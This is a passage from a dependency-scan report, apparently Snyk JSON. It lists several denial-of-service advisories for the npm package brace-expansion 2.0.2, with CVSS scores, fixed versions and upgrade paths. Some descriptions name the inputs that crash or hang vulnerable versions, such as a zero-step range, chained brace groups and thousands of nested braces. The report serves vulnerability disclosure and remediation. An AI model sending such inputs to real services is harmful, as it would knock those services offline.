"url": "https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L107-L113",
"title": "Vulnerable Code"
},
{
"url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L184",
"title": "Vulnerable Code"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 6.5,
"modificationTime": "2026-04-03T12:57:19.951777Z"
},
{
"assigner": "NVD",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-04-22T17:49:48.167901Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-25T02:01:42.918000Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-25T02:01:42.918000Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "medium",
"baseScore": 6.5,
"cvssVersion": "3.1",
"modificationTime": "2026-04-03T12:57:19.951777Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "NVD",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-04-22T17:49:48.167901Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Infinite loop through the `expand` function when processing a brace pattern with a zero step value. An attacker can cause the process to hang and exhaust system memory by supplying specially crafted input, such as `{1..2..0}`. This can lead to significant resource consumption and denial of service. \r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by sanitizing strings passed to `expand` to ensure a step value of `0` is not used.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.13, 2.0.3, 3.0.2, 5.0.5 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L107-L113)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L184)\n",
"epssDetails": {
"percentile": "0.47050",
"probability": "0.00613",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-33750"
],
"CWE": [
"CWE-835"
],
"GHSA": [
"GHSA-f886-m6hf-6m8v"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-03-27T07:45:56.244707Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-03-26T18:29:42Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-03-27T07:45:56.429154Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-25T02:01:42.918000Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"libnpmpack@8.0.5",
"@npmcli/arborist@8.0.5",
"@npmcli/map-workspaces@4.0.2",
"glob@10.5.0",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmpack@9.1.15",
"@npmcli/arborist@9.9.3",
"@npmcli/map-workspaces@5.0.3",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-17706650",
"title": "Inefficient Algorithmic Complexity",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Unknown"
],
"semver": {
"vulnerable": [
"<1.1.16",
">=2.0.0 <2.1.2",
">=3.0.0 <5.0.7"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.16",
"2.1.2",
"5.0.7"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-07-01T06:56:21.683579Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-08-24T14:04:38.442182Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-24T14:04:38.442182Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-07-01T06:56:21.683579Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `expand` function. An attacker can cause excessive CPU consumption and block the event loop by supplying a specially crafted string containing multiple consecutive non-expanding '{}' brace groups. The `max` option does not prevent this issue, as it only limits the output size and not the computational workload.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.7 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95)\n",
"epssDetails": {
"percentile": "0.29069",
"probability": "0.00364",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-13149"
],
"CWE": [
"CWE-407"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-06-30T11:38:19.757696Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-06-30T11:25:01Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-06-30T11:38:19.961909Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-08-24T14:04:38.442182Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"libnpmpack@8.0.5",
"@npmcli/arborist@8.0.5",
"@npmcli/map-workspaces@4.0.2",
"glob@10.5.0",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmpack@9.1.15",
"@npmcli/arborist@9.9.3",
"@npmcli/map-workspaces@5.0.3",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-18313044",
"title": "Allocation of Resources Without Limits or Throttling",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"bnbdr"
],
"semver": {
"vulnerable": [
"<1.1.16",
">=2.0.0 <2.1.2",
">=3.0.0 <5.0.8"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.16",
"2.1.2",
"5.0.8"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-08-05T05:35:10.598547Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-16T14:02:43.227595Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-16T14:02:43.227595Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-05T05:35:10.598547Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()` function and its recursive `expand_` helper, which cap the number of results via the `max` option but do not bound the length of each result string. An attacker can crash the Node process with a fatal, uncatchable out-of-memory error by supplying a pattern that chains many brace groups, such as `{a,b}` repeated, keeping the result count under `max` while each result grows with the group count so total output scales unbounded. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through `minimatch` or `glob` brace patterns.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing small explicit `max` and `maxLength` options to `expand()`, bounding both the number of results and the length of each so total output stays limited.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.8 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5)\n",
"epssDetails": {
"percentile": "0.49122",
"probability": "0.00643",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-14257"
],
"CWE": [
"CWE-770"
],
"GHSA": [
"GHSA-mh99-v99m-4gvg"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-07-26T09:53:40.727617Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-07-23T15:49:26Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-07-26T09:53:40.907374Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-16T14:02:43.227595Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"libnpmpack@8.0.5",
"@npmcli/arborist@8.0.5",
"@npmcli/map-workspaces@4.0.2",
"glob@10.5.0",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmpack@9.1.15",
"@npmcli/arborist@9.9.3",
"@npmcli/map-workspaces@5.0.3",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-18512280",
"title": "Allocation of Resources Without Limits or Throttling",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"Alessio Della Libera"
],
"semver": {
"vulnerable": [
"<1.1.18",
">=2.0.0 <2.1.4",
">=3.0.0 <3.0.6",
">=4.0.0 <5.0.9"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.18",
"2.1.4",
"3.0.6",
"5.0.9"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-08-04T05:26:55.391275Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-25T21:42:52.694864Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-25T21:42:52.694864Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-04T05:26:55.391275Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()`, `expand_()`, `combine()`, and `expandSequence()` functions, which bound the accumulator where results are combined but not the intermediate arrays that feed it. An attacker can crash the process with an uncatchable out-of-memory error, or stall the event loop for minutes, by supplying a pattern with many comma-separated alternatives that each receive an independent `maxLength` allowance and accumulate without a cumulative limit, or a padded sequence whose generation ignores `maxLength` and does work proportional to `max * width`. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through a glob or pattern-matching library.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing an explicitly small `max` together with a small `maxLength` to `expand()`, bounding both the result count and length, since a small `maxLength` alone is insufficient on affected versions where it is applied per alternative rather than cumulatively.\r\n\r\n**Note:** This is a bypass of the fix for the vulnerability described in [CVE-2026-14257](https://security.snyk.io/vuln/SNYK-JS-BRACEEXPANSION-18313044).\n## Remediation\nUpgrade `brace-expansion` to version 1.1.18, 2.1.4, 3.0.6, 5.0.9 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031)\n",
"epssDetails": {
"percentile": "0.48810",
"probability": "0.00647",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-69152"
],
"CWE": [
"CWE-770"
],
"GHSA": [
"GHSA-rgw5-rvv9-x895"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-08-03T18:50:29.684875Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-08-03T16:35:32Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-08-03T18:50:29.862827Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-25T21:42:52.694864Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"libnpmpack@8.0.5",
"@npmcli/arborist@8.0.5",
"@npmcli/map-workspaces@4.0.2",
"glob@10.5.0",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmpack@9.1.15",
"@npmcli/arborist@9.9.3",
"@npmcli/map-workspaces@5.0.3",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-20244948",
"title": "Uncontrolled Recursion",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Gareth Jones",
"Jeremy Katz"
],
"semver": {
"vulnerable": [
"<1.1.20",
">=2.0.0 <2.1.6",
">=3.0.0 <3.0.8",
">=4.0.0 <5.0.11"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.20",
"2.1.6",
"3.0.8",
"5.0.11"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 6.5,
"modificationTime": "2026-10-09T05:49:36.917866Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-10-09T05:49:37.555149Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-10-09T05:49:37.555149Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "medium",
"baseScore": 6.5,
"cvssVersion": "3.1",
"modificationTime": "2026-10-09T05:49:36.917866Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via uncontrolled recursion in `expand_` when processing deeply nested brace patterns. An attacker can supply approximately 6 KB of deeply nested braces (e.g., `{` repeated ~3,200 times followed by `a,b` and the matching `}` characters) to exhaust the native call stack and crash the process with a `RangeError: Maximum call stack size exceeded`. The `max` and `maxLength` bounds do not prevent this because the stack is exhausted during recursive descent into sub-expansions, before the result set grows.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.20, 2.1.6, 3.0.8, 5.0.11 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db)\n",
"epssDetails": {
"percentile": "0.26155",
"probability": "0.00350",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-102278"
],
"CWE": [
"CWE-674"
],
"GHSA": [
"GHSA-qhr7-859c-m2p7"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-09-29T07:28:47.469361Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-09-28T23:27:22Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-09-29T07:28:47.672458Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-10-09T05:49:37.555149Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"libnpmpack@8.0.5",
"@npmcli/arborist@8.0.5",
"@npmcli/map-workspaces@4.0.2",
"glob@10.5.0",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmpack@9.1.15",
"@npmcli/arborist@9.9.3",
"@npmcli/map-workspaces@5.0.3",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-20244952",
"title": "Uncontrolled Recursion",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"baeseungwon1010",
"Jeremy Katz"
],
"semver": {
"vulnerable": [
"<1.1.19",
">=2.0.0 <2.1.5",
">=3.0.0 <3.0.7",
">=4.0.0 <5.0.10"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.19",
"2.1.5",
"3.0.7",
"5.0.10"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p",
"title": "Maintainer's Advisory"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-09-29T05:44:15.508690Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-29T19:40:12.310972Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-29T19:40:12.310972Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-29T05:44:15.508690Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via two distinct stack-exhaustion paths in `parseCommaParts`. In the first, the function recurses on the remainder of the string once per brace group, so a chain of approximately 7,000 groups (~29 KB of input) exhausts the native call stack and throws a `RangeError`. In the second, `push.apply` passes one argument per element, meaning a single large comma-separated array inside a brace group overflows the stack at a recursion depth of exactly one, requiring roughly 125,000 comma-separated elements. Neither the `max` nor `maxLength` options can bound either path because the crash occurs during parsing, before any expansion takes place.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.19, 2.1.5, 3.0.7, 5.0.10 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3)\n- [Maintainer's Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p)\n",
"epssDetails": {
"percentile": "0.26155",
"probability": "0.00350",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-102276"
],
"CWE": [
"CWE-674"
],
"GHSA": [
"GHSA-6j4f-fj2g-mc7p"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-09-29T07:36:51.075985Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-09-28T23:27:21Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-09-29T07:36:51.235635Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-29T19:40:12.310972Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"libnpmpack@8.0.5",
"@npmcli/arborist@8.0.5",
"@npmcli/map-workspaces@4.0.2",
"glob@10.5.0",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmpack@9.1.15",
"@npmcli/arborist@9.9.3",
"@npmcli/map-workspaces@5.0.3",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
